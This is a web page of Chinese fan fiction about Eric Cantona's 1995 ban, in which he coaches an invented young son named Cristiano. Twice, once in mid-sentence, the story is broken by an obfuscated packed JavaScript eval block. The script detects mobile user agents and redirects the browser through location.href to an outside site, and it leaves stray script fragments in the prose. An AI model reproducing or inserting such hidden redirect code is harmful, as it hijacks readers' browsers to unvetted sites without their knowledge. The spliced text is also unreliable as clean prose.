1995年1月25日，塞尔赫斯特公园球场的客队更衣室里，埃里克·坎通纳独自坐在角落。他的球衣后背已经被汗水浸透，红色的曼联队服上沾满了草屑和泥土。更衣室里的其他球员都沉默不语，连一向话多的吉格斯也低着头整理自己的装备，不敢发出太大声音。 弗格森推门而入，苏格兰人脸上的皱纹比平时更深了几分。他径直走到坎通纳面前，将一瓶矿泉水重重地放在长凳上。 “喝点水。”弗格森的声音比往常低沉，“律师马上就到。” 坎通纳没有动那瓶水，他的目光盯着更衣室地板上的某一点：“我不需要律师。” “别犯傻，埃里克。”弗格森在他身边坐下，“英足总已经召开了紧急会议，这可不是普通的红牌事件。” 门被轻轻推开，克里斯蒂亚诺的小脑袋探了进来。10岁的男孩穿着曼联训练服，手里还抱着一个足球。他的眼睛红红的，显然刚哭过。 “爸爸……”小男孩怯生生地叫道。 坎通纳猛地抬头，脸上的表情瞬间柔和下来。他招手示意儿子过来，克里斯蒂亚诺立刻小跑着扑进父亲怀里。 “你看到了？”坎通纳轻声问。 克里斯蒂亚诺点点头，把脸埋在父亲胸前。“那个人说了很坏的话……关于妈妈和我……” 坎通纳的手臂收紧了些，他抬头看向弗格森，眼神中混合着愤怒和痛苦。弗格森叹了口气，起身走向门口。 “我去看看律师到了没有。你们……好好谈谈。” 等弗格森离开后，克里斯蒂亚诺仰起小脸：“爸爸，你会被罚不能踢球吗？” 坎通纳用手梳理着儿子微卷的头发：“可能会有一段时间不能上场。” “多久？” “我不知道，克里斯。”坎通纳诚实地回答，“但不管多久，我都会继续训练。就像我告诉你的，真正的球员永远不会停止进步。” 克里斯蒂亚诺突然紧紧抱住父亲：“我不在乎你能不能踢球，我只想要你开心。” 坎通纳感到喉咙发紧。他把儿子抱得更紧了些，闻着小男孩头发上淡淡的洗发水香味。这时，艾米莉出现在门口，她的眼睛也是红肿的，但表情已经恢复了平静。 “克里斯，该回家了。”她轻声说，“爸爸还有事情要处理。” 克里斯蒂亚诺不情愿地从父亲怀里出来，坎通纳吻了吻他的额头：“跟妈妈回家，我晚点就回来。” 等母子俩离开后，坎通纳终于拿起那瓶水，一口气喝了大半瓶。水顺着下巴流下来，和汗水混在一起。他用手背擦了擦脸，然后开始慢慢脱下球衣。 更衣室的门再次被推开，这次是曼联的新闻官和一位西装革履的中年男子。 “埃里克，这位是俱乐部的法律顾问，约翰逊先生。”新闻官介绍道，“我们需要谈谈接下来的应对策略。” 坎通纳点点头，继续换衣服。他的动作很慢，像是在思考什么。 “首先，英足总已经确认了九个月的禁赛。”律师开门见山，“此外，还有两万英镑的罚款和120小时的社区服务。” 坎通纳系鞋带的动作顿了一下，但很快又继续。 “俱乐部方面……”新闻官犹豫了一下，“董事会正在讨论是否要解除你的合同。” 这次坎通纳终于抬起头，他的眼神锐利得像刀子：“弗格森怎么说？” “教练反对这个提议，但……这不是他能决定的。” 坎通纳站起身：“我要见弗格森。” 半小时后，在弗格森的办公室里，两人面对面坐着。办公室里很安静，只有墙上时钟的滴答声。 “我不会道歉。”坎通纳先开口，“那个混蛋侮辱了我的家人。” 弗格森揉了揉太阳穴：“没人要你为保护家人道歉，埃里克。但那个动作……飞踹球迷……这太过了。” “我知道。”坎通纳承认，“但我当时……控制不住。” “这就是问题所在！”弗格森突然提高音量，“你是曼联的国王，是孩子们的偶像，包括克里斯！你不能就这样失去控制！” 提到儿子，坎通纳的表情变了。他低下头，声音变得很轻：“克里斯……他会怎么想我？” 弗格森的语气缓和下来：“他会理解父亲保护家人的心情。但他也需要看到你如何面对错误，埃里克。” 坎通纳抬起头，眼中闪烁着复杂的光芒：“那我该怎么做？” “明天有个新闻发布会。”弗格森说，“你不必道歉，但需要表明态度。之后……我们会想办法让你保持状态，禁赛期结束后，曼联还需要她的国王。” 当天，坎通纳回到家时已经很晚。客厅里只开着一盏小灯，艾米莉坐在沙发上等他。 “克里斯睡了？”坎通纳轻声问。 艾米莉点点头：“他坚持要等你，但实在太晚了。”她站起身，走向丈夫，“怎么样？” 坎通纳疲惫地坐在沙发上，把脸埋进双手：“九个月禁赛，可能更糟。” 艾米莉在他身边坐下，轻轻抚摸他的后背：“雅克从马赛打来电话，说如果需要，他可以马上飞过来。” 坎通纳抬起头，嘴角微微上扬：“那个老渔夫……告诉他不用担心。” “媒体呢？” “明天有个发布会。”坎通纳叹了口气，“弗格森说我不必道歉，但……” 艾米莉捧起丈夫的脸：“看着我，埃里克。你没有做错什么，那个人侮辱我们的儿子，任何一个父亲都会愤怒。” 坎通纳握住妻子的手：“但我让俱乐部蒙羞，让球迷失望……还有克里斯，他那么以我为傲……” “他依然以你为傲。”艾米莉坚定地说，“今天睡前，他问我能不能学功夫，说要像爸爸一样保护家人。” 坎通纳忍不住笑出声，但笑声很快变成了叹息。他靠在沙发上，闭上眼睛：“我不知道该怎么面对明天的记者。” 艾米莉靠在他肩上：“做你自己就好，埃里克。真实的你，就是最好的你。” 第二天下午，老特拉福德的新闻发布厅挤满了记者。闪光灯不断闪烁，摄像机镜头对准了坐在台上的坎通纳。他穿着简单的白衬衫和黑色西装，没有打领带。弗格森和俱乐部主席坐在他两侧。 “坎通纳先生，你对昨天的行为有什么要解释的吗？”第一个记者迫不及待地提问。 坎通纳深吸一口气：“我不解释，我只陈述事实。那个人侮辱我的家人，特别是我的儿子。作为父亲，我做了我认为正确的事。” “但飞踹球迷是不是太过分了？你后悔吗？”另一个记者追问。 坎通纳的眼神变得锐利：“我后悔的是让足球运动蒙羞，但保护我的家人？永远不会后悔。” 会场一阵骚动，记者们争相举手。这时，一个戴着眼镜的男记者站起来：“坎通纳先生，你认为这样的行为配得上曼联球员的身份吗？” 坎通纳盯着那个记者看了几秒，突然露出一个神秘的微笑：“当海鸥跟着拖网渔船飞行时，是因为他们认为沙丁鱼会被扔进海里。” 会场一片寂静，记者们面面相觑。弗格森在桌下轻轻踢了坎通纳一脚，法国人这才继续道：“我的意思是……人们总是期待看到他们想看到的。你们想要一个完美的足球偶像？抱歉，我只是一个会犯错的人，一个爱自己家庭的普通父亲。” 发布会结束后，坎通纳直接去了训练基地。让他意外的是，克里斯蒂亚诺正在U12的训练场上和比他大两岁的孩子们一起训练。小男孩看到父亲，立刻跑了过来。 “爸爸！你看到我刚才的过人了吗？”克里斯蒂亚诺兴奋地问，似乎完全忘记了昨天的不愉快。 坎通纳蹲下身，与儿子平视：“看到了，很漂亮。但你的重心太高了，容易被断球。” 克里斯蒂亚诺认真地点点头：“我会改进的！”然后他突然压低声音，“爸爸，大家都说你是英雄，因为保护了我和妈妈。” 坎通纳感到眼眶发热：“我不是英雄，克里斯。我只是……做了一个父亲该做的事。” “但你还是最好的球员！”克里斯蒂亚诺坚定地说，“禁赛结束后，你会比以前更强！” 坎通纳把儿子搂进怀里，闻着小男孩身上的汗水和阳光的味道。在这一刻，所有的烦恼似乎都变得不那么重要了。 “走吧，”他站起身，牵着儿子的手，“我们回家。妈妈做了你最喜欢的海鲜饭。” “耶！”克里斯蒂亚诺欢呼起来，“爸爸，你能教我那个飞踢动作吗？就一次！” 坎通纳大笑起来，笑声在空旷的训练场上回荡：“这个嘛……我们得先问问妈妈。” 禁赛通知正式下达的第三天早晨，坎通纳比往常起得更早。天还没亮，他就已经穿戴整齐，站在厨房里煮咖啡。艾米莉穿着睡袍走进来，惊讶地看着丈夫。 “这么早？你要去哪？” 坎通纳将煮好的咖啡倒进保温杯：“青年队训练场。老板说既然不能参加一线队训练，就去带带孩子们。” 艾米莉走过来，帮丈夫整理衣领：“你确定现在去公众场合是个好主意？报纸上还在连篇累牍地报道……” “正因如此，我才更要去。”坎通纳吻了吻妻子的额头，“我不能躲起来，莉莉，特别是不能让克里斯觉得他父亲是个懦夫。” 艾米莉叹了口气：“你知道他永远不会那么想。” 坎通纳拿起保温杯：“但我得那么做。为了他，也为了我自己。” 清晨的卡灵顿训练基地安静得出奇。坎通纳径直走向最边缘的一块训练场，那里是曼联U12的训练场地。让他意外的是，场地边已经站着一个熟悉的身影。 “老板？”坎通纳走近，“我以为你说九点才开始。” 弗格森转过身，手里拿着一叠训练计划：“我改主意了。既然要重新开始，不如从基础做起。”他递给坎通纳一张纸，“从今天起，你负责U12的进攻训练。特别是那个小个子——”他指了指场上正在独自练习踩单车的克里斯蒂亚诺，“你儿子跳级到这个组别后，一直不太适应。” 坎通纳看着场上瘦小的身影，心头一紧。克里斯蒂亚诺明显比其他孩子小一圈，但他带球的动作却格外认真，一次次重复着同样的假动作，直到完美为止。 “他每天都这样，”弗格森说，“第一个来，最后一个走。让我想起了某个法国人年轻时的样子。” 坎通纳放下背包，走向场边：“克里斯！” 小男孩猛地回头，脸上立刻绽放出灿烂的笑容：“爸爸！”他丢下球跑了过来，“你怎么来了？” “从现在开始，我是你们的进攻教练。”坎通纳揉了揉儿子的头发，“去把其他孩子叫来，我们开始训练。” 训练课进行到一半时，坎通纳注意到场边聚集了几个记者。他们拿着相机，远远地拍摄着这一幕——被禁赛的曼联国王在青年队训练场上的身影。坎通纳假装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561683|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看见，继续专注于指导孩子们。 “本，你的支撑脚太近了！”他对着一个金发男孩喊道，“再拉开半步，这样才有发力空间！” 克里斯蒂亚诺举手：“爸爸，我能示范吗？” 坎通纳点点头。小男孩立刻带球启动，一个漂亮的踩单车后突然变向，干净利落地过掉了充当防守的锥桶。其他孩子发出赞叹声。 “看到没有？”坎通纳对所有人说，“假动作不是做给对手看的，是做给自己看的。你要先相信这个动作能过掉人，它才会真的有效。” 训练结束后，记者们试图围上来采访，但被俱乐部的安保人员拦住了。坎通纳牵着克里斯蒂亚诺的手走向停车场，小男孩不停地问着各种技术问题。 “爸爸，为什么我射门时总是打高？” “因为你太着急了，克里斯。射门前要确保身体平衡，看准球的部位……” 他们的对话被一个突如其来的声音打断：“暴徒！你不配教孩子们足球！” 坎通纳猛地转身，看到一个中年男子站在停车场边缘，脸上带着愤怒的表情。克里斯蒂亚诺的手在他掌心里颤抖起来。 “先生，”坎通纳控制着语气，“这里有很多孩子，请你注意言辞。” “言辞？”男人冷笑，“像你这样的暴力分子才应该注意行为！” 坎通纳感到血液涌上头顶，但他低头看到克里斯蒂亚诺惊恐的眼神，强行压下了怒火。他蹲下身，平视着儿子：“克里斯，去车上等爸爸，好吗？” 小男孩摇摇头，紧紧抓住父亲的手：“我们一起走。” 坎通纳深吸一口气，站起身牵着儿子继续往前走，完全无视那个男人的叫嚷。直到坐进车里，锁上车门，他才发现自己的手也在微微发抖。 “爸爸……”克里斯蒂亚诺小声说，“那个人为什么那么生气？” 坎通纳系好安全带，思考着该如何回答：“因为……人们有时候只愿意看到他们想看到的东西。他看到了我的错误，但没看到我为什么那么做。” 克里斯蒂亚诺似懂非懂地点点头：“就像你昨天说的海鸥和渔船？” 坎通纳惊讶地看着儿子：“你记得那句话？” “当然！”克里斯蒂亚诺挺起胸膛，“我还画下来了！”他在背包里翻找，拿出一张皱巴巴的纸，上面画着几只简笔海鸥和一艘渔船，旁边歪歪扭扭地写着坎通纳的名言。 坎通纳感到喉咙发紧。他小心地折好画纸，放进胸前的口袋：“谢谢，克里斯。这是我收到过最好的礼物。” 回家的路上，坎通纳的手机响了，是雅克，他最好的朋友。 “埃里克！我刚看到新闻！”雅克的大嗓门从听筒里传出，“那些英国佬要禁赛你九个月？就为了教训一个侮辱家人的混蛋？” 坎通纳把车停在路边，让克里斯蒂亚诺先回家找妈妈。“不全是那样，雅克。那个动作确实过火了。” “呸！”雅克不屑地说，“换做是我，会把那家伙扔进海里喂鱼！听着，我和伙计们准备了一份请愿书，马赛港有一半的渔民都签名支持你了！” 坎通纳忍不住笑了：“你还是这么冲动。但……谢谢。” “谢什么！”雅克的声音突然变得严肃，“埃里克，你还记得你十二岁那年，那个嘲笑你父亲的杂货店老板吗？” 坎通纳当然记得。那天雅克和他一起把那个老板的摊位掀了个底朝天，结果被各自的父亲狠狠教训了一顿。 “我父亲当时说什么来着？”雅克自问自答，“‘保护家人是男人的天职，但方式要智慧。’记得吗？” 坎通纳望着自家窗户里透出的温暖灯光，艾米莉的身影正在厨房忙碌：“我记得。” “所以，”雅克总结道，“你现在要做的就是智慧地度过这段时间。教教孩子们踢球，陪陪克里斯，等风头过去，你还是那个曼联的国王。” 挂断电话后，坎通纳在车里坐了很久，思考着雅克的话。当他终于走进家门时，晚餐的香气扑面而来。克里斯蒂亚诺正在餐桌旁摆餐具，艾米莉端着一锅热气腾腾的马赛鱼汤从厨房走出来。 “正好赶上晚餐，”她微笑着对丈夫说，“克里斯说你今天教了他们新技巧？” 坎通纳点点头，洗过手后坐在餐桌前：“他们学得很快，特别是克里斯。”他看向儿子，“下周我要教他们弧线球，你想第一个学吗？” 克里斯蒂亚诺的眼睛亮了起来：“真的吗？就像你上赛季对桑德兰的那个进球？” 晚餐在愉快的氛围中进行着，仿佛外界的风暴都与这个小家庭无关。直到克里斯蒂亚诺上床睡觉后，艾米莉才提起那个不愉快的话题。 “俱乐部主席今天打电话来了，”她一边洗碗一边说，“董事会决定不解除你的合同，但……他们要你尽快去做社区服务。” 坎通纳擦盘子的手停顿了一下：“什么类型的社区服务？” “在曼彻斯特的社区足球中心教贫困儿童踢球。”艾米莉转过身，直视丈夫的眼睛，“我觉得这反而是个机会，埃里克。让人们看到真实的你，而不只是报纸上那个‘暴怒的法国人’。” 坎通纳放下抹布，走到窗前。夜色中的曼彻斯特灯火阑珊，远处老特拉福德的轮廓依稀可见。九个月不能在那片草地上奔跑，不能听到球迷的欢呼，不能…… “我会去的。”他突然说，“从明天就开始。” 艾米莉从背后抱住他：“这才是我的埃里克。” 16.国王的愤怒（2） 第二天一早，坎通纳驱车来到曼彻斯特东区的一个破旧社区中心。当他走进简陋的更衣室时，十几个衣着朴素的孩子正挤在一起换训练服。看到他进来，更衣室瞬间安静下来。 “你们好，”坎通纳用英语说，然后换成他昨天突击学习的蹩脚曼彻斯特方言，“我是埃里克，今天起和你们一起踢球。” 一个扎着脏辫的黑人男孩大胆地问：“你就是那个飞踹球迷的曼联球员？” 坎通纳点点头：“是的。但今天我只想教你们怎么踢好足球。谁想学吉格斯那样的弧线球？” 孩子们面面相觑，然后一个个举起了手。坎通纳笑了，拿起一个旧足球：“那就跟我来。” 训练进行到一半时，坎通纳注意到场边站着几个孩子的家长。他们不像昨天的记者那样拿着相机，只是安静地观看着。其中一个戴着头巾的女士甚至对他点头致意。 中场休息时，马库斯——那个扎脏辫的男孩走到坎通纳身边：“先生，你为什么打那个人？” 其他孩子都安静下来，等着听答案。坎通纳喝了口水，诚实地回答：“因为他侮辱我的家人。但我用的方式是错的，足球运动员应该用脚下的球说话，而不是拳头或者脚。” 马库斯思考了一会儿，突然说：“我爸爸去年也打了人，因为那人叫我妈妈难听的名字。他被关了一个月。” 坎通纳不知道该说什么，只是拍了拍男孩的肩膀：“你爸爸是个勇敢的人，但希望你永远不需要做这样的选择。” 训练结束后，几个家长走过来感谢坎通纳。那个戴头巾的女士甚至递给他一盒自制饼干：“给小坎通纳的，我儿子说他是个很棒的小球员。” 回程的路上，坎通纳的手机再次响起。是法国《队报》的记者，希望就禁赛事件做个专访。 “不，”坎通纳干脆地拒绝，“我已经说完了所有想说的话。” “但公众需要听到你的解释，坎通纳先生！”记者不死心，“特别是法国球迷，他们不理解你为什么……” 坎通纳打断他：“海鸥跟着渔船，是因为它们期待沙丁鱼。但有时候，渔船上什么都没有。再见，先生。” 他挂断电话，突然感到一种奇怪的释然。也许雅克是对的，也许这段禁赛期反而是个机会——让他重新思考足球的意义，让他成为更好的父亲，更好的自己。 当他把车开进自家车道时，看到克里斯蒂亚诺正在前院练习他今天教的弧线球。小男孩全神贯注的样子，在夕阳下显得格外动人。 坎通纳坐在车里看了很久，直到艾米莉出来叫他吃饭。这一刻，他感到无比平静。九个月很长，但也很短。足够让他准备好，以更好的姿态回到那片绿茵场。 社区服务的第七个周末，曼彻斯特下起了冰冷的冬雨。坎通纳站在社区中心简陋的屋檐下，看着雨水在坑洼的训练场上积成一个个小水洼。十几个孩子已经聚集在更衣室里，叽叽喳喳地讨论着今天的训练会不会取消。 “先生，我们能在雨中训练吗？”马库斯期待地问。 坎通纳望着灰蒙蒙的天空，想起自己小时候在马赛的雨中踢球的场景。他转向孩子们：“你们知道雨中踢球最重要的是什么吗？” “不滑倒？”一个红发女孩试探地回答。 坎通纳摇摇头：“是享受。”他脱下外套，只穿着训练服走进雨中，“谁想学怎么在湿滑的场地上射门？” 孩子们欢呼着冲进雨里，很快，泥水溅满了每个人的球衣和脸庞。坎通纳示范着如何在湿滑的草地上保持平衡，如何利用雨水的润滑让球速更快。马库斯第一个掌握了技巧，一脚劲射将球送进了用两个书包搭成的球门。 “看到了吗？”坎通纳抹去脸上的雨水，“困难的条件反而能让你发现新的可能性！” 训练结束后，孩子们浑身湿透但兴高采烈地跑向更衣室。坎通纳走在最后，突然注意到场边站着一个人影——弗格森，撑着一把黑伞，不知已经观看了多久。 “老板。”坎通纳点点头，雨水顺着他的发梢滴落。 弗格森递给他一条干毛巾：“你倒是会因地制宜。U12的孩子们下周有场比赛，我想让你带队。” 坎通纳擦脸的手停顿了一下：“我还在禁赛期。” “青年队比赛不受影响。”弗格森的眼睛里闪烁着狡黠的光芒，“再说，那些孩子需要你。特别是……”他朝更衣室方向努了努嘴，克里斯蒂亚诺正从门口探出头来，看到父亲后兴奋地挥手。 当天晚上，坎通纳家的餐桌上格外热闹。克里斯蒂亚诺不停地描述着雨中训练的每一个细节，艾米莉则微笑着给父子俩盛上热腾腾的炖菜。 “爸爸，弗格森先生真的让你带我们比赛吗？”克里斯蒂亚诺嘴里塞满食物，含糊不清地问。 坎通纳点点头：“下周六，对利物浦U12。” 小男孩的眼睛瞪得溜圆：“利物浦！我们能赢吗？” “如果我们足够专注，足够团结……”坎通纳用面包蘸着炖菜的汤汁，“就像渔船上的水手，每个人都知道自己的职责。” 克里斯蒂亚诺突然放下叉子：“爸爸，我能问你一个问题吗？” “当然。” “为什么你总是说渔船和海鸥？” 艾米莉和坎通纳交换了一个眼神。法国人放下餐巾，思考了一会儿：“因为……那是我小时候在马赛最常看到的景象。海鸥跟着渔船，不是为了嘲笑，而是因为它们相信会有收获。”他轻轻捏了捏儿子的手，“就像现在的我们，克里斯。即使是在困难的时候，也要相信未来会有收获。” 比赛前的那一周，坎通纳比往常更加忙碌。上午在社区中心教课，下午带曼联U12训练，晚上还要研究利物浦U12的比赛录像。艾米莉常常发现丈夫深夜还坐在书房里，在笔记本上画着战术图。 周五晚上，坎通纳正在客厅里演示跑位给克里斯蒂亚诺看，门铃突然响了。艾米莉开门后惊讶地发现弗格森站在门口，手里拿着一瓶红酒和一个录像带。 “我想我们需要谈谈明天的战术。”苏格兰人说，眼睛却看着正在地板上模仿父亲动作的克里斯蒂亚诺，“当然，如果方便的话。” 坎通纳挑眉：“你亲自来讨论U12的比赛？” 弗格森耸耸肩：“利物浦的青训体系很强，我们不能掉以轻心。”他蹲下身，对克里斯蒂亚诺说，“小家伙，明天你会首发，准备好了吗？” 克里斯蒂亚诺立刻跳起来，挺起胸膛：“准备好了，先生！我会进球的！” 弗格森大笑，揉了揉小男孩的头发：“有你父亲当年的样子。” 三个大人在书房里讨论到很晚。当弗格森离开时，已经接近午夜。克里斯蒂亚诺早已睡下，艾米莉也回房休息了。坎通纳独自站在阳台上，望着曼彻斯特的夜空。明天将是他禁赛后第一次以教练身份出现在正式比赛中，虽然只是一场少年队的比赛，但对手是利物浦——这让他感到一种久违的紧张和期待。 比赛日的早晨，天气出乎意料地晴朗。曼联U12的小球员们在更衣室里既兴奋又紧张，克里斯蒂亚诺不停地调整着自己的护腿板，直到坎通纳走过来帮他系好鞋带。 “记住，”坎通纳低声对儿子说，“不要总想着过人，相信你的队友。” 小男孩认真地点点头：“像渔船上的水手一样，对吗爸爸？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561684|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 坎通纳微笑着捏了捏儿子的肩膀：“没错。” 比赛开始后，利物浦U12果然展现出了强大的实力，他们的传球配合流畅，很快就取得了领先。曼联的小球员们有些慌乱，但坎通纳站在场边，始终保持着冷静。 “泰勒！注意你的位置！”他喊道，“克里斯，回撤接应！” 上半场结束前，克里斯蒂亚诺接到泰勒的传球，一个漂亮的变向过掉防守队员，在禁区边缘起脚射门。球划过一道弧线，直挂球门死角。 “进球！曼联U12扳平比分！”场边的家长和志愿者们欢呼起来。克里斯蒂亚诺兴奋地跑向场边，一头扎进父亲怀里。坎通纳紧紧抱住儿子，在他耳边说：“看到了吗？相信队友的结果。” 下半场，曼联的小球员们越战越勇。坎通纳的临场调整发挥了作用，他让速度快的泰勒改打边路，让克里斯蒂亚诺回撤组织。比赛结束前五分钟，克里斯蒂亚诺送出一记精准直塞，助攻泰勒打进制胜球。 终场哨响，曼联U12的孩子们欢呼着将坎通纳团团围住。弗格森站在不远处，脸上带着满意的笑容。记者们想要采访，但坎通纳只是简单地说：“今天是属于这些孩子们的。” 回家的路上，克里斯蒂亚诺在车里睡着了，手里还紧紧抓着比赛用球——裁判特别允许他带走的。坎通纳从后视镜里看着儿子疲惫但满足的睡脸，突然觉得这几个月的一切都有了意义。 “我们到了，小冠军。”停车后，坎通纳轻轻摇醒儿子。克里斯蒂亚诺迷迷糊糊地抱着球下车，突然说：“爸爸，我长大后要像你一样厉害。” 坎通纳蹲下身，与儿子平视：“你会比我更厉害，克里斯。我保证。” 艾米莉站在门口迎接他们，手里拿着相机：“我的两个冠军回来了！快进来，我做了庆祝蛋糕。” 晚餐后，坎通纳独自走到后院。夜空中繁星点点，让他想起马赛的海港。手机震动起来，是雅克的短信：“听说你今天带队赢了利物浦？干得好！马赛的伙计们都为你骄傲。” 坎通纳微笑着回复：“只是开始。” 回到客厅，他发现克里斯蒂亚诺已经在沙发上睡着了，怀里还抱着那个比赛用球。艾米莉正在整理今天的照片。 “这张拍得不错。”她递给坎通纳一张照片，上面是他和克里斯蒂亚诺在场边拥抱的瞬间。 坎通纳凝视着照片，突然说：“你知道吗，莉莉？也许这次禁赛是件好事。” 艾米莉靠在他肩上：“因为它让你发现了新的可能性？” “因为它让我明白了什么是真正重要的。”坎通纳轻轻抱起熟睡的儿子，向楼上走去，“不是头条新闻，不是球迷的欢呼，而是……” “而是和家人在一起的每一刻。”艾米莉接过他的话，轻轻吻了吻丈夫的脸颊，“欢迎回来，埃里克。” 坎通纳把克里斯蒂亚诺轻轻放在床上，小心地取下他怀里的足球。小男孩在睡梦中喃喃自语：“我会进球的……爸爸看着呢……” 坎通纳在儿子额头落下一个吻：“我永远都会看着你，克里斯。” 他轻手轻脚地退出房间，站在走廊里望向窗外的夜空。禁赛期还有六个月，但他已经不再数日子了。这段意外的休整让他重新认识了足球，认识了家庭，也认识了自己。当回归的那天到来时，他会以更好的姿态回到赛场——不仅是为了曼联，为了球迷，更是为了那个把他当作英雄的小男孩。 楼下，艾米莉正在播放坎通纳最喜欢的法国香颂。音乐声轻轻飘上楼，混合着曼彻斯特夜晚的微风。坎通纳深吸一口气，感到一种久违的平静与满足。无论未来如何，此刻的一切都刚刚好。 17.王者归来（1） 曼彻斯特的天空刚刚泛起鱼肚白，卡灵顿训练基地的大门处已经聚集了二十多名记者。他们搓着手，呵着白气，时不时看向入口处。今天是埃里克·坎通纳禁赛期满后的首次正式训练，没有人想错过这个头条新闻。 坎通纳的黑色奔驰缓缓驶入训练基地时，闪光灯立刻亮成一片。他没有停车，径直开向了球员停车场。后座上，克里斯蒂亚诺揉着惺忪的睡眼，怀里还抱着一个足球。 “爸爸，好多人啊。”小男孩趴着窗户往外看。 坎通纳从后视镜里看了儿子一眼：“今天开始爸爸要正式归队训练了，记得我们说好的吗？” 克里斯蒂亚诺立刻坐直身体：“我会乖乖待在青年队训练场，不打扰你。”说完又忍不住问，“但比赛时我能坐在替补席后面吗？就像以前那样？” 坎通纳停好车，转身揉了揉儿子的头发：“当然可以。不过现在，我们得先吃早餐。” 更衣室里出奇地安静。当坎通纳推门而入时，正在换鞋的吉格斯猛地抬头，脸上露出灿烂的笑容。 “看看这是谁！”威尔士人夸张地张开双臂，“我们的‘海鸥哲学家’回来了！” 更衣室里顿时爆发出一阵笑声和口哨声。基恩走过来，什么也没说，只是用力握了握坎通纳的手。舒梅切尔则扔过来一条毛巾，精准地盖在法国人头上。 “欢迎回来，混蛋。”丹麦门将咧嘴一笑，“禁赛期增重了多少？三公斤？五公斤？” 坎通纳扯下毛巾，露出微笑：“足够在你头上完成帽子戏法的分量。” 更衣室里的气氛顿时轻松起来。队员们一个接一个地上前拥抱或拍打坎通纳的肩膀，就连平时话最少的加里·内维尔也说了句“很高兴你回来了”。 弗格森推门而入时，喧闹声立刻安静下来。苏格兰教练环视更衣室，目光最后落在坎通纳身上。 “九个月没见，”弗格森的声音里带着一丝调侃，“希望你没忘记足球是圆的。” 坎通纳站起身：“我记得它通常是黑白相间的，老板。” 弗格森哼了一声：“幽默感见长。全体注意，半小时后战术会议。埃里克，先跟我来。” 教练办公室里，弗格森关上门，示意坎通纳坐下。 “感觉如何？” 坎通纳活动了下肩膀：“像第一次参加训练的青训球员。” “紧张？” “期待。”坎通纳纠正道，“特别是对利物浦的比赛。” 弗格森从抽屉里拿出一份文件：“医疗组的评估报告。你的体能状况比我想象的好，看来社区服务没耽误你保持状态。” 坎通纳想起这九个月来每天清晨的加练，在社区中心的简陋场地上独自练习射门，在雨中带着那帮孩子训练到精疲力尽。“我一直准备着，老板。” “很好。”弗格森合上文件，“周六对利物浦，你首发。” 坎通纳的手指微微收紧：“确定吗？我九个月没踢正式比赛了。” 弗格森站起身，走到窗前：“你知道为什么海鸥会跟着渔船吗，埃里克？” 坎通纳挑眉：“因为我那句该死的名言？” “因为它们知道哪里能找到鱼。”弗格森转过身，“而我知道哪里能找到胜利，你就是我的答案，埃里克。九个月也好，九年也罢，曼联需要她的国王。” 战术会议上，坎通纳全神贯注地听着弗格森的布置。当分析到利物浦的防守弱点时，他时不时在笔记本上记下几笔。坐在旁边的基恩瞥了一眼，发现那些笔记旁边还画着几个简笔画小人，明显是给小孩子看的战术示意图。 “给克里斯的？”基恩低声问。 坎通纳点点头：“他总想知道他爸爸在学什么新东西。” 训练场上，坎通纳的状态让所有人都吃了一惊。九个月的禁赛似乎丝毫没有影响他的技术和意识，反而让他看起来更加沉稳。在一次分组对抗中，他用一记精妙的脚后跟传球助攻科尔破门，引来了场边工作人员的掌声。 “见鬼，”舒梅切尔揉着被坎通纳射门震得发麻的手腕，“这家伙是不是偷偷练了什么邪门功夫？” 吉格斯大笑：“我告诉你，那些社区的孩子把他当神一样崇拜。你知道马库斯吗？那个脏辫小子，现在整天嚷嚷着要成为‘坎通纳第二’。” 训练结束后，坎通纳没有像往常一样直接回家，而是走向了青年队的训练场。克里斯蒂亚诺正在和U12的队友们进行小场比赛，看到父亲过来，立刻兴奋地挥手： “爸爸！看到我刚才那个过人了吗？” 坎通纳走到场边：“看到了，但你的触球太用力了。记住，好的控球就像……” “……像接住妈妈扔过来的鸡蛋！”克里斯蒂亚诺抢答，“要轻柔！” 坎通纳笑着点头：“没错。继续训练吧，结束后我带你回家。” 回更衣室的路上，坎通纳遇到了曼联的CEO爱德华兹。 “埃里克，”爱德华兹的表情有些尴尬，“关于董事会之前讨论解除合同的事……” 坎通纳摆摆手：“都过去了，马丁。” “不，我是想说……”爱德华兹压低声音，“我们准备给你一份新合同。两年，周薪提高20%。弗格森坚持的。” 坎通纳停下脚步：“告诉董事会，我很感激。但让我们先踢完对利物浦的比赛再谈，好吗？” 当天晚上，坎通纳家的晚餐桌上格外热闹。克里斯蒂亚诺喋喋不休地讲述着训练中的每一个细节，艾米莉则微笑着给父子俩添菜。 “爸爸，利物浦的那个门将厉害吗？”小男孩突然问道。 坎通纳切着盘中的牛排：“大卫·詹姆斯？是的，他很出色。” “那你能进球吗？” 艾米莉轻轻敲了敲儿子的盘子：“克里斯，别给爸爸压力。” 坎通纳却放下刀叉，认真地看着儿子：“我会尽我所能，克里斯。这就是足球，你永远不能保证结果，但可以保证付出全部。” 克里斯蒂亚诺似懂非懂地点点头，然后突然跳下椅子，跑到客厅拿来一张纸：“我给你画了张画！” 画上是穿着曼联球衣的坎通纳，脚下踩着一个红色的足球，旁边写着“世界上最棒的爸爸”。坎通纳小心地接过画，喉咙突然有些发紧。 “谢谢你，克里斯。”他轻声说，“我会把它放在我的更衣柜里。” 夜深人静时，坎通纳独自站在阳台上，望着曼彻斯特的夜空。艾米莉走过来，递给他一杯热茶。 